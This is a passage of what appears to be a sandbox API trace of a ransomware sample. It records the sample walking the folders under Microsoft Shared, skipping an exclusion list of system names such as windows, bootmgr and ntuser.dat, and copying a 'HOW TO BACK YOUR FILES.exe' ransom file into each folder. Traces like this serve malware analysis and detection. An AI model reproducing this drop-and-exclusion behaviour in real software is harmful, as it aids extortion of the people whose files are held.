ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0064.496] lstrcmpiW (lpString1="Stationery", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0064.496] lstrcmpiW (lpString1="Stationery", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0064.496] lstrcmpiW (lpString1="Stationery", lpString2=".") returned 1 [0064.496] lstrcmpiW (lpString1="Stationery", lpString2="..") returned 1 [0064.496] lstrcmpiW (lpString1="Stationery", lpString2="windows") returned -1 [0064.496] lstrcmpiW (lpString1="Stationery", lpString2="bootmgr") returned 1 [0064.496] lstrcmpiW (lpString1="Stationery", lpString2="temp") returned -1 [0064.496] lstrcmpiW (lpString1="Stationery", lpString2="pagefile.sys") returned 1 [0064.496] lstrcmpiW (lpString1="Stationery", lpString2="boot") returned 1 [0064.496] lstrcmpiW (lpString1="Stationery", lpString2="ids.txt") returned 1 [0064.496] lstrcmpiW (lpString1="Stationery", lpString2="ntuser.dat") returned 1 [0064.497] lstrcmpiW (lpString1="Stationery", lpString2="perflogs") returned 1 [0064.497] lstrcmpiW (lpString1="Stationery", lpString2="MSBuild") returned 1 [0064.497] lstrlenW (lpString="Stationery") returned 10 [0064.497] lstrcpyW (in: lpString1=0x241e8a6, lpString2="Stationery" | out: lpString1="Stationery") returned="Stationery" [0064.497] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52ae40 [0064.497] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x74) returned 0x5029a8 [0064.497] lstrcatW (in: lpString1="Stationery", lpString2="\\" | out: lpString1="Stationery\\") returned="Stationery\\" [0064.497] lstrcatW (in: lpString1="Stationery\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Stationery\\HOW TO BACK YOUR FILES.exe") returned="Stationery\\HOW TO BACK YOUR FILES.exe" [0064.497] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\how to back your files.exe"), bFailIfExists=1) returned 1 [0064.501] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TextConv", cAlternateFileName="")) returned 1 [0064.501] lstrcmpiW (lpString1="TextConv", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0064.501] lstrcmpiW (lpString1="TextConv", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0064.501] lstrcmpiW (lpString1="TextConv", lpString2=".") returned 1 [0064.501] lstrcmpiW (lpString1="TextConv", lpString2="..") returned 1 [0064.501] lstrcmpiW (lpString1="TextConv", lpString2="windows") returned -1 [0064.501] lstrcmpiW (lpString1="TextConv", lpString2="bootmgr") returned 1 [0064.501] lstrcmpiW (lpString1="TextConv", lpString2="temp") returned 1 [0064.501] lstrcmpiW (lpString1="TextConv", lpString2="pagefile.sys") returned 1 [0064.501] lstrcmpiW (lpString1="TextConv", lpString2="boot") returned 1 [0064.501] lstrcmpiW (lpString1="TextConv", lpString2="ids.txt") returned 1 [0064.501] lstrcmpiW (lpString1="TextConv", lpString2="ntuser.dat") returned 1 [0064.501] lstrcmpiW (lpString1="TextConv", lpString2="perflogs") returned 1 [0064.501] lstrcmpiW (lpString1="TextConv", lpString2="MSBuild") returned 1 [0064.501] lstrlenW (lpString="TextConv") returned 8 [0064.501] lstrcpyW (in: lpString1=0x241e8a6, lpString2="TextConv" | out: lpString1="TextConv") returned="TextConv" [0064.501] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52ae58 [0064.501] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x70) returned 0x538f00 [0064.501] lstrcatW (in: lpString1="TextConv", lpString2="\\" | out: lpString1="TextConv\\") returned="TextConv\\" [0064.501] lstrcatW (in: lpString1="TextConv\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="TextConv\\HOW TO BACK YOUR FILES.exe") returned="TextConv\\HOW TO BACK YOUR FILES.exe" [0064.501] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\how to back your files.exe"), bFailIfExists=1) returned 1 [0064.504] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="THEMES14", cAlternateFileName="")) returned 1 [0064.504] lstrcmpiW (lpString1="THEMES14", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0064.504] lstrcmpiW (lpString1="THEMES14", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0064.505] lstrcmpiW (lpString1="THEMES14", lpString2=".") returned 1 [0064.505] lstrcmpiW (lpString1="THEMES14", lpString2="..") returned 1 [0064.505] lstrcmpiW (lpString1="THEMES14", lpString2="windows") returned -1 [0064.505] lstrcmpiW (lpString1="THEMES14", lpString2="bootmgr") returned 1 [0064.505] lstrcmpiW (lpString1="THEMES14", lpString2="temp") returned 1 [0064.505] lstrcmpiW (lpString1="THEMES14", lpString2="pagefile.sys") returned 1 [0064.505] lstrcmpiW (lpString1="THEMES14", lpString2="boot") returned 1 [0064.505] lstrcmpiW (lpString1="THEMES14", lpString2="ids.txt") returned 1 [0064.505] lstrcmpiW (lpString1="THEMES14", lpString2="ntuser.dat") returned 1 [0064.505] lstrcmpiW (lpString1="THEMES14", lpString2="perflogs") returned 1 [0064.505] lstrcmpiW (lpString1="THEMES14", lpString2="MSBuild") returned 1 [0064.505] lstrlenW (lpString="THEMES14") returned 8 [0064.505] lstrcpyW (in: lpString1=0x241e8a6, lpString2="THEMES14" | out: lpString1="THEMES14") returned="THEMES14" [0064.505] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52ae70 [0064.505] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x70) returned 0x538f78 [0064.505] lstrcatW (in: lpString1="THEMES14", lpString2="\\" | out: lpString1="THEMES14\\") returned="THEMES14\\" [0064.505] lstrcatW (in: lpString1="THEMES14\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="THEMES14\\HOW TO BACK YOUR FILES.exe") returned="THEMES14\\HOW TO BACK YOUR FILES.exe" [0064.505] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\how to back your files.exe"), bFailIfExists=1) returned 1 [0064.509] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TRANSLAT", cAlternateFileName="")) returned 1 [0064.509] lstrcmpiW (lpString1="TRANSLAT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0064.509] lstrcmpiW (lpString1="TRANSLAT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0064.509] lstrcmpiW (lpString1="TRANSLAT", lpString2=".") returned 1 [0064.509] lstrcmpiW (lpString1="TRANSLAT", lpString2="..") returned 1 [0064.509] lstrcmpiW (lpString1="TRANSLAT", lpString2="windows") returned -1 [0064.509] lstrcmpiW (lpString1="TRANSLAT", lpString2="bootmgr") returned 1 [0064.509] lstrcmpiW (lpString1="TRANSLAT", lpString2="temp") returned 1 [0064.510] lstrcmpiW (lpString1="TRANSLAT", lpString2="pagefile.sys") returned 1 [0064.510] lstrcmpiW (lpString1="TRANSLAT", lpString2="boot") returned 1 [0064.510] lstrcmpiW (lpString1="TRANSLAT", lpString2="ids.txt") returned 1 [0064.510] lstrcmpiW (lpString1="TRANSLAT", lpString2="ntuser.dat") returned 1 [0064.510] lstrcmpiW (lpString1="TRANSLAT", lpString2="perflogs") returned 1 [0064.510] lstrcmpiW (lpString1="TRANSLAT", lpString2="MSBuild") returned 1 [0064.510] lstrlenW (lpString="TRANSLAT") returned 8 [0064.510] lstrcpyW (in: lpString1=0x241e8a6, lpString2="TRANSLAT" | out: lpString1="TRANSLAT") returned="TRANSLAT" [0064.510] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52ae88 [0064.510] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x70) returned 0x538ff0 [0064.510] lstrcatW (in: lpString1="TRANSLAT", lpString2="\\" | out: lpString1="TRANSLAT\\") returned="TRANSLAT\\" [0064.510] lstrcatW (in: lpString1="TRANSLAT\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="TRANSLAT\\HOW TO BACK YOUR FILES.exe") returned="TRANSLAT\\HOW TO BACK YOUR FILES.exe" [0064.510] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\how to back your files.exe"), bFailIfExists=1) returned 1 [0064.513] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Triedit", cAlternateFileName="")) returned 1 [0064.513] lstrcmpiW (lpString1="Triedit", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0064.513] lstrcmpiW (lpString1="Triedit", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0064.513] lstrcmpiW (lpString1="Triedit", lpString2=".") returned 1 [0064.513] lstrcmpiW (lpString1="Triedit", lpString2="..") returned 1 [0064.513] lstrcmpiW (lpString1="Triedit", lpString2="windows") returned -1 [0064.514] lstrcmpiW (lpString1="Triedit", lpString2="bootmgr") returned 1 [0064.514] lstrcmpiW (lpString1="Triedit", lpString2="temp") returned 1 [0064.514] lstrcmpiW (lpString1="Triedit", lpString2="pagefile.sys") returned 1 [0064.514] lstrcmpiW (lpString1="Triedit", lpString2="boot") returned 1 [0064.514] lstrcmpiW (lpString1="Triedit", lpString2="ids.txt") returned 1 [0064.514] lstrcmpiW (lpString1="Triedit", lpString2="ntuser.dat") returned 1 [0064.514] lstrcmpiW (lpString1="Triedit", lpString2="perflogs") returned 1 [0064.514] lstrcmpiW (lpString1="Triedit", lpString2="MSBuild") returned 1 [0064.514] lstrlenW (lpString="Triedit") returned 7 [0064.514] lstrcpyW (in: lpString1=0x241e8a6, lpString2="Triedit" | out: lpString1="Triedit") returned="Triedit" [0064.514] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52aea0 [0064.514] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6e) returned 0x539068 [0064.514] lstrcatW (in: lpString1="Triedit", lpString2="\\" | out: lpString1="Triedit\\") returned="Triedit\\" [0064.514] lstrcatW (in: lpString1="Triedit\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Triedit\\HOW TO BACK YOUR FILES.exe") returned="Triedit\\HOW TO BACK YOUR FILES.exe" [0064.514] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\triedit\\how to back your files.exe"), bFailIfExists=1) returned 1 [0064.516] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VBA", cAlternateFileName="")) returned 1 [0064.516] lstrcmpiW (lpString1="VBA", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0064.516] lstrcmpiW (lpString1="VBA", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0064.516] lstrcmpiW (lpString1="VBA", lpString2=".") returned 1 [0064.516] lstrcmpiW (lpString1="VBA", lpString2="..") returned 1 [0064.516] lstrcmpiW (lpString1="VBA", lpString2="windows") returned -1 [0064.516] lstrcmpiW (lpString1="VBA", lpString2="bootmgr") returned 1 [0064.516] lstrcmpiW (lpString1="VBA", lpString2="temp") returned 1 [0064.516] lstrcmpiW (lpString1="VBA", lpString2="pagefile.sys") returned 1 [0064.516] lstrcmpiW (lpString1="VBA", lpString2="boot") returned 1 [0064.516] lstrcmpiW (lpString1="VBA", lpString2="ids.txt") returned 1 [0064.516] lstrcmpiW (lpString1="VBA", lpString2="ntuser.dat") returned 1 [0064.516] lstrcmpiW (lpString1="VBA", lpString2="perflogs") returned 1 [0064.517] lstrcmpiW (lpString1="VBA", lpString2="MSBuild") returned 1 [0064.517] lstrlenW (lpString="VBA") returned 3 [0064.517] lstrcpyW (in: lpString1=0x241e8a6, lpString2="VBA" | out: lpString1="VBA") returned="VBA" [0064.517] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52aeb8 [0064.517] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x66) returned 0x52edd0 [0064.517] lstrcatW (in: lpString1="VBA", lpString2="\\" | out: lpString1="VBA\\") returned="VBA\\" [0064.517] lstrcatW (in: lpString1="VBA\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="VBA\\HOW TO BACK YOUR FILES.exe") returned="VBA\\HOW TO BACK YOUR FILES.exe" [0064.517] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\how to back your files.exe"), bFailIfExists=1) returned 1 [0064.519] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VC", cAlternateFileName="")) returned 1 [0064.519] lstrcmpiW (lpString1="VC", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0064.519] lstrcmpiW (lpString1="VC", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0064.519] lstrcmpiW (lpString1="VC", lpString2=".") returned 1 [0064.519] lstrcmpiW (lpString1="VC", lpString2="..") returned 1 [0064.520] lstrcmpiW (lpString1="VC", lpString2="windows") returned -1 [0064.520] lstrcmpiW (lpString1="VC", lpString2="bootmgr") returned 1 [0064.520] lstrcmpiW (lpString1="VC", lpString2="temp") returned 1 [0064.520] lstrcmpiW (lpString1="VC", lpString2="pagefile.sys") returned 1 [0064.520] lstrcmpiW (lpString1="VC", lpString2="boot") returned 1 [0064.520] lstrcmpiW (lpString1="VC", lpString2="ids.txt") returned 1 [0064.520] lstrcmpiW (lpString1="VC", lpString2="ntuser.dat") returned 1 [0064.520] lstrcmpiW (lpString1="VC", lpString2="perflogs") returned 1 [0064.520] lstrcmpiW (lpString1="VC", lpString2="MSBuild") returned 1 [0064.520] lstrlenW (lpString="VC") returned 2 [0064.520] lstrcpyW (in: lpString1=0x241e8a6, lpString2="VC" | out: lpString1="VC") returned="VC" [0064.520] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52aed0 [0064.520] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x64) returned 0x52ee40 [0064.520] lstrcatW (in: lpString1="VC", lpString2="\\" | out: lpString1="VC\\") returned="VC\\" [0064.520] lstrcatW (in: lpString1="VC\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="VC\\HOW TO BACK YOUR FILES.exe") returned="VC\\HOW TO BACK YOUR FILES.exe" [0064.520] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\how to back your files.exe"), bFailIfExists=1) returned 1 [0064.523] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VGX", cAlternateFileName="")) returned 1 [0064.523] lstrcmpiW (lpString1="VGX", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0064.523] lstrcmpiW (lpString1="VGX", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0064.523] lstrcmpiW (lpString1="VGX", lpString2=".") returned 1 [0064.523] lstrcmpiW (lpString1="VGX", lpString2="..") returned 1 [0064.523] lstrcmpiW (lpString1="VGX", lpString2="windows") returned -1 [0064.523] lstrcmpiW (lpString1="VGX", lpString2="bootmgr") returned 1 [0064.523] lstrcmpiW (lpString1="VGX", lpString2="temp") returned 1 [0064.523] lstrcmpiW (lpString1="VGX", lpString2="pagefile.sys") returned 1 [0064.523] lstrcmpiW (lpString1="VGX", lpString2="boot") returned 1 [0064.523] lstrcmpiW (lpString1="VGX", lpString2="ids.txt") returned 1 [0064.523] lstrcmpiW (lpString1="VGX", lpString2="ntuser.dat") returned 1 [0064.523] lstrcmpiW (lpString1="VGX", lpString2="perflogs") returned 1 [0064.523] lstrcmpiW (lpString1="VGX", lpString2="MSBuild") returned 1 [0064.523] lstrlenW (lpString="VGX") returned 3 [0064.523] lstrcpyW (in: lpString1=0x241e8a6, lpString2="VGX" | out: lpString1="VGX") returned="VGX" [0064.523] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52aee8 [0064.523] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x66) returned 0x52eeb0 [0064.523] lstrcatW (in: lpString1="VGX", lpString2="\\" | out: lpString1="VGX\\") returned="VGX\\" [0064.523] lstrcatW (in: lpString1="VGX\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="VGX\\HOW TO BACK YOUR FILES.exe") returned="VGX\\HOW TO BACK YOUR FILES.exe" [0064.523] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\how to back your files.exe"), bFailIfExists=1) returned 1 [0064.526] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Visio Shared", cAlternateFileName="VISIOS~1")) returned 1 [0064.526] lstrcmpiW (lpString1="Visio Shared", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0064.526] lstrcmpiW (lpString1="Visio Shared", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0064.526] lstrcmpiW (lpString1="Visio Shared", lpString2=".") returned 1 [0064.526] lstrcmpiW (lpString1="Visio Shared", lpString2="..") returned 1 [0064.526] lstrcmpiW (lpString1="Visio Shared", lpString2="windows") returned -1 [0064.526] lstrcmpiW (lpString1="Visio Shared", lpString2="bootmgr") returned 1 [0064.526] lstrcpyW (in: lpString1=0x241e8a6, lpString2="Visio Shared" | out: lpString1="Visio Shared") returned="Visio Shared" [0064.526] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52af00 [0064.526] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x78) returned 0x502a28 [0064.526] lstrcatW (in: lpString1="Visio Shared", lpString2="\\" | out: lpString1="Visio Shared\\") returned="Visio Shared\\" [0064.526] lstrcatW (in: lpString1="Visio Shared\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Visio Shared\\HOW TO BACK YOUR FILES.exe") returned="Visio Shared\\HOW TO BACK YOUR FILES.exe" [0064.526] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\how to back your files.exe"), bFailIfExists=1) returned 1 [0064.528] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VSTO", cAlternateFileName="")) returned 1 [0064.528] lstrcmpiW (lpString1="VSTO", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0064.528] lstrcmpiW (lpString1="VSTO", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0064.528] lstrcpyW (in: lpString1=0x241e8a6, lpString2="VSTO" | out: lpString1="VSTO") returned="VSTO" [0064.528] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52af18 [0064.528] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x68) returned 0x52ef20 [0064.529] lstrcatW (in: lpString1="VSTO", lpString2="\\" | out: lpString1="VSTO\\") returned="VSTO\\" [0064.529] lstrcatW (in: lpString1="VSTO\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="VSTO\\HOW TO BACK YOUR FILES.exe") returned="VSTO\\HOW TO BACK YOUR FILES.exe" [0064.529] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\how to back your files.exe"), bFailIfExists=1) returned 1 [0064.532] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Web Folders", cAlternateFileName="WEBFOL~1")) returned 1 [0064.532] lstrcmpiW (lpString1="Web Folders", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0064.532] lstrcmpiW (lpString1="Web Folders", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0064.533] lstrcpyW (in: lpString1=0x241e8a6, lpString2="Web Folders" | out: lpString1="Web Folders") returned="Web Folders" [0064.533] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52af30 [0064.533] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x76) returned 0x502aa8 [0064.533] lstrcatW (in: lpString1="Web Folders", lpString2="\\" | out: lpString1="Web Folders\\") returned="Web Folders\\" [0064.533] lstrcatW (in: lpString1="Web Folders\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Web Folders\\HOW TO BACK YOUR FILES.exe") returned="Web Folders\\HOW TO BACK YOUR FILES.exe" [0064.533] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\how to back your files.exe"), bFailIfExists=1) returned 1 [0064.535] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 1 [0064.535] lstrcmpiW (lpString1="Web Server Extensions", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0064.535] lstrcmpiW (lpString1="Web Server Extensions", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0064.535] lstrcpyW (in: lpString1=0x241e8a6, lpString2="Web Server Extensions" | out: lpString1="Web Server Extensions") returned="Web Server Extensions" [0064.535] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52af48 [0064.536] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8a) returned 0x533148 [0064.536] lstrcatW (in: lpString1="Web Server Extensions", lpString2="\\" | out: lpString1="Web Server Extensions\\") returned="Web Server 